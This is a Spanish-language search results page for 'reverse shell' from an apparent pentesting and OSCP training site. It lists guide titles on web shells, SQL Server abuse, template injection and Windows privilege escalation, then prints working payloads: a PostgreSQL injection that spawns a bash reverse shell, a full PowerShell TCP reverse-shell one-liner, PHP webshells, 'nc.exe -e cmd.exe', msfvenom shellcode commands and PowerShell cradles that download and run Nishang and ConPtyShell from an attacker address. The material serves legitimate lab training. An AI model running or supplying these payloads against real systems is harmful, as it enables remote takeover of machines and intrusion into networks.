Buscar en todo
66 resultados para «reverse shell»
Guías 12
- Reverse shell que no conecta o se cierra: cómo arreglarla Por qué una reverse shell no llega, se corta al momento o muere con Ctrl+C, cómo diagnosticarlo paso a paso y cómo dejarla como una terminal completa en Linux y Windows.
- Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
- Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
- Port forwarding y pivoting: SSH, chisel y socat Cómo llegar a un servicio que solo escucha en 127.0.0.1 o a otra red interna: túneles locales, remotos y dinámicos con SSH, chisel cuando no hay SSH, socat y proxychains.
- Atacar WordPress, Joomla y Drupal: de wpscan a RCE Identificar el CMS y su versión, enumerar plugins y usuarios con wpscan, joomscan y droopescan, y pasar de administrador a shell en WordPress, Joomla y Drupal.
- SSTI: identificar el motor de plantillas y llegar a RCE Detectar una inyección en plantillas del servidor, averiguar si es Jinja2, Twig, FreeMarker, ERB o Mako, y los payloads para ejecutar comandos en cada uno.
- SeImpersonatePrivilege y Potatoes: de cuenta de servicio a SYSTEM en Windows Qué significa tener SeImpersonate, por qué lo tienen IIS y MSSQL, y qué Potato usar en cada Windows: PrintSpoofer, GodPotato, JuicyPotatoNG o RoguePotato.
- Explotar un CVE público: buscar, leer y adaptar exploits de searchsploit y GitHub De un número de versión a una shell: identificar el software, buscar en searchsploit, GitHub y nuclei, leer el exploit antes de lanzarlo y arreglar los que fallan.
- Inyección de comandos (OS command injection): detección, blind y bypass de filtros Cómo encontrar una inyección de comandos en Linux y Windows, confirmarla a ciegas (tiempo, DNS, HTTP) y saltarse los filtros de espacios y palabras.
- Deserialización insegura: reconocerla y explotarla en Java, .NET, PHP, Python y Node.js Reconocer datos serializados por sus primeros bytes (rO0AB, AAEAAAD, O:, gASV), entender las gadget chains y lograr RCE con ysoserial, phpggc o pickle.
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
- Cómo detectan los antivirus y EDR en Windows: AMSI, ETW, hooks, AppLocker y CLM explicados Qué mira Defender o un EDR al ejecutar una herramienta (firmas, AMSI, ETW, hooks, callbacks del kernel), cómo saber qué protege una máquina y qué son AppLocker y CLM.
Técnicas de MITRE ATT&CK 2
Recursos y herramientas 3
- Generador de reverse shells Reverse shells en bash, nc, Python, PHP, Perl, PowerShell y más, con tu IP y tu puerto ya puestos. Incluye listeners y payloads de msfvenom.
- Mejorar la shell a una TTY completa Convierte una reverse shell en una terminal interactiva con Ctrl+C, flechas, autocompletado y tamaño correcto. Paso a paso, con script, Python o socat.
- One-liner de PowerShell (-enc) Construye un comando powershell -enc (Base64 UTF-16LE): reverse shell, descarga y ejecución o tu propio código, con el listener y el decodificador.
Rutas de aprendizaje 2
- De cero a OSCP Seis etapas en orden, de tu primer nmap al simulacro de examen: máquinas de Hack The Box, guías y chuletas para preparar la OSCP sin perderte.
- Pentesting web: de la web al root Las vulnerabilidades web que más se ven en CTF y en auditorías, cada una con su guía, su chuleta y máquinas donde es la entrada.
Checklists 1
Apartados de las guías 6
- 5. Windows Reverse shell que no conecta o se cierra: cómo arreglarla
- 2. La conexión no llega Reverse shell que no conecta o se cierra: cómo arreglarla
- 6. Pasar ficheros a la víctima Reverse shell que no conecta o se cierra: cómo arreglarla
- 3. Llega y se cierra al momento Reverse shell que no conecta o se cierra: cómo arreglarla
- 1. Comprueba que tienes ejecución de verdad Reverse shell que no conecta o se cierra: cómo arreglarla
- 4. Hacerla estable: una TTY completa en Linux Reverse shell que no conecta o se cierra: cómo arreglarla
Comandos 40
-
Reverse shell con COPY
Payloads de inyección SQL › PostgreSQL › Ficheros y RCE
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';-- -
Reverse shell en una línea
Generador de reverse shells › Windows › PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()" -
Webshell que lanza la reverse shell
Generador de reverse shells › Webshells › PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?> -
Recibir una reverse shell de la red interna
Ligolo-ng › Versiones recientes (0.6 o superior)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp -
Cuando falla la reverse shell de PowerShell: usa netcat
Evasión explicada: AMSI, ETW y AppLocker › AppLocker / CLM › Por dónde se escapa (conceptos)
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí. nc.exe 10.10.14.5 443 -e cmd.exe -
Shellcode en C para Windows
Generador de reverse shells › msfvenom › Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c -
Shellcode en Python sin bytes nulos
Generador de reverse shells › msfvenom › Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python -
Webshell mínima
Generador de reverse shells › Webshells › PHP
<?php system($_GET['cmd']); ?> -
Listener para ConPtyShell
Generador de reverse shells › Windows › Con binarios
stty raw -echo; (stty size; cat) | nc -lvnp 443 -
Invocar la webshell con curl
Generador de reverse shells › Webshells › PHP
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" -
TTY completa en Windows (ConPtyShell)
Generador de reverse shells › Windows › Con binarios
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443 -
Nishang Invoke-PowerShellTcp desde tu servidor
Generador de reverse shells › Windows › PowerShell
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"